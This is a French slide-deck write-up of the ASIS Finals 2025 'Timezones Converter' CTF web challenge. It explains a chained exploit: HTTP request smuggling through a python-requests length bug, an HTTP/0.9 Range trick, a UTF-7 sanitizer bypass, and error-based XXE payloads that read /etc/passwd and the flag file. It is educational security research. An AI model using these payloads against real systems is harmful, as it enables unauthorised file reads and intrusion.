ASIS Finals 2025

Timezones Converter

Writeup

Contexte

2/46
 

Démo du challenge

3/46
 

Structure du challenge

4/46
 

frontend

flask

haproxy

flask

backend

Points importants

5/46
 

FROM alpine:3.20.3

WORKDIR /usr/app
COPY ./src/ .
COPY ./flag.txt /

# ...

Le flag est à la racine du frontend

→ file read / RCE

Points importants

6/46
 

from_zone = request.form.get("from_zone", "Europe/Paris")
to_zone = request.form.get("to_zone", "Europe/Paris")
time = request.form.get("time", "12:30")

r = session["request"].post("http://backend/convert",
  headers={ "Content-Type": "application/x-www-form-urlencoded" },
  data=f"from_zone={from_zone}&to_zone={to_zone}&time={time}"
)

python.requests utilisé pour communiquer avec le backend

Points importants

7/46
 

if not r.status_code == 200:
  return { "status_code": r.status_code, "error": r.text }, 500

parsed_xml = {
  child.tag: child.text
  for child in etree.fromstring(r.text)
}

lxml utilisé pour parser la réponse du backend

Points importants

8/46
 

except Exception as e:
  return {
    "error": sanitize_xml(str(e)),
    "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  }

Input refleté via les erreurs dans la réponse du backend

Points importants

9/46
 

def sanitize_xml(xml):
    if not type(xml) == str:
        return xml

    forbidden_chars = ["&","<",">",'"',"%"]
    for forbidden_char in forbidden_chars:
        xml = xml.replace(forbidden_char, "")

    return xml

Mais sanitize correctement...

Objectif du challenge :

 

Controller la réponse du backend pour XXE et lire le flag

10/46
 

11/46
 

python.requests smuggling :)

12/46
 

from requests import post

smug = "GET /smug HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
post("http://127.0.0.1", data="\xFF"*len(smug)+smug)

Version ≤ v2.31.0

python.requests smuggling :)

13/46
 

>>> "\xFF"
'ÿ'
>>> "\xFF".encode()
b'\xc3\xbf'

len(str) != len(bytes)

UTF-8 ❤️

>>> len("\xFF")
1
>>> len("\xFF".encode())
2

python.requests smuggling :)

14/46
 

Fix v2.32.0

15/46
 

>>> req = open("req.txt", "rb").read()
>>> body = req.split(b"\r\n\r\n")[1] + b"\r\n\r\n"
>>> len(body)
117

78 != 117 :)

python.requests smuggling :)

16/46
 

Ca fonctionne aussi dans une session !

from requests import session

s = session()

smug = "GET /404 HTTP/1.1\r\nX-Header: X"
s.post("http://127.0.0.1", data="\xFF"*len(smug)+smug)

r = s.get("/home")
print(r.text)
# /404

Super on contrôle la 2ème requête et alors??

17/46
 

Application flask basique

18/46
 

from flask import Flask, send_file

app = Flask(__name__)

@app.get("/")
def index():
    return send_file("/etc/passwd")

app.run("0.0.0.0", 4444)

Application flask basique

19/46
 

Résultat d'une requête en HTTP/1.1 (tout va bien)

Application flask basique

20/46
 

Résultat d'une requête avec Range en HTTP/1.1 (tout va bien)

Application flask basique

Résultat d'une requête avec Range en HTTP/0.9

(Range = HTTP/1.1  ?????) 

21/46
 

Application flask basique

Résultat d'une requête avec Range en HTTP/0.9

(Range = HTTP/1.1  ?????) 

23/46
 

Si on chain tout ce qu'on a vu, on peut contrôler une réponse du backend :)

1/ Forcer une erreur qui contient une réponse HTTP/1.1

2/ Utiliser HTTP/0.9 + Range pour contrôler la réponse

25/46
 

3/ Passer le body en UTF-7 pour bypass le sanitizer :)

26/46
 

Et oui, python.requests handle aussi ce charset de réponse !

27/46
 

Maintenant qu'on contrôle la réponse...

Rappel: le flag est à la racine

28/46
 

Comment le frontend parse la réponse du back ?

29/46
 

Comment le frontend parse la réponse du back ?

30/46
 

Comment le frontend parse la réponse du back ?

31/46
 

XX/XX
 

33/46
 

lxml ?

  • Avant la version 5.0.0, autorise les entités externes
  • Désactive les protocoles réseaux par défaut (http, ftp, ...)
  • Se protège contre certaines attaques

34/46
 

Comment faire pour XXE ?

  • On ne peut pas leak le contenu d'un fichier à cause des validators
  • On ne peut pas exfiltrer en OOB
  • On ne peut pas charger de DTD externe
  • Il n'y a pas de DTD présent dans le docker du challenge

35/46
 

Comment faire pour XXE ?

36/46
 

Comment faire pour XXE ?

$ python3
>>> from lxml import etree
>>> payload='''
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ELEMENT aa (bb'>
    %local_dtd;
]>
<message>Text</message>
'''
>>> xxe = etree.fromstring(payload)
Traceback (most recent call last):
  [...]
lxml.etree.XMLSyntaxError: Element content declaration doesn't start and stop in the same entity, line 150, column 29

37/46
 

Comment faire pour XXE ?

  • Pas possible d'utiliser un DTD ou il faut fermer une balise pour réinjecter derrière
  • Seul cas possible :

38/46
 

39/46
 

File write sans file write

  • Il faut pouvoir contrôler les 3 premiers bytes d'un fichier
  • Il faut connaitre son emplacement exact

40/46
 

File write sans file write

41/46
 

File write sans file write

/lib/python3.11/site-packages/cachelib/file.py#L264

42/46
 

File write sans file write

  • Timestamp unix qui en little endian donne %<ALPHA CHAR>;<random bytes>

43/46
 

File write sans file write

  • Les noms des fichiers de session sont ... aléatoires ?

/lib/python3.11/site-packages/cachelib/file.py#L210

/lib/python3.11/site-packages/cachelib/file.py#L52

44/46
 

File write sans file write

import requests
res = requests.get(f"http://{HOST}:{PORT}/")
session = res.headers["Set-Cookie"].split("session=")[1].split(";")[0]
print("/usr/app/flask_sessions/"+md5(f"session:{session}".encode().hexdigest()))

45/46
 

Payload finale

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file://{FILENAME}">

    <!ENTITY % A '
        <!ENTITY &#x25; file SYSTEM "file:///flag.txt">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;
        &#x27;>">
        &#x25;eval;
        &#x25;error;<!--
        '>

    %local_dtd;
]>
<message></message>

Live demo de la solution

46/46
 

Ambrosia 2025 | Writeup ASIS finales 2025 Timezones Converter Writeup

By Kévin (Mizu)

Ambrosia 2025 | Writeup ASIS finales 2025 Timezones Converter Writeup

  • 35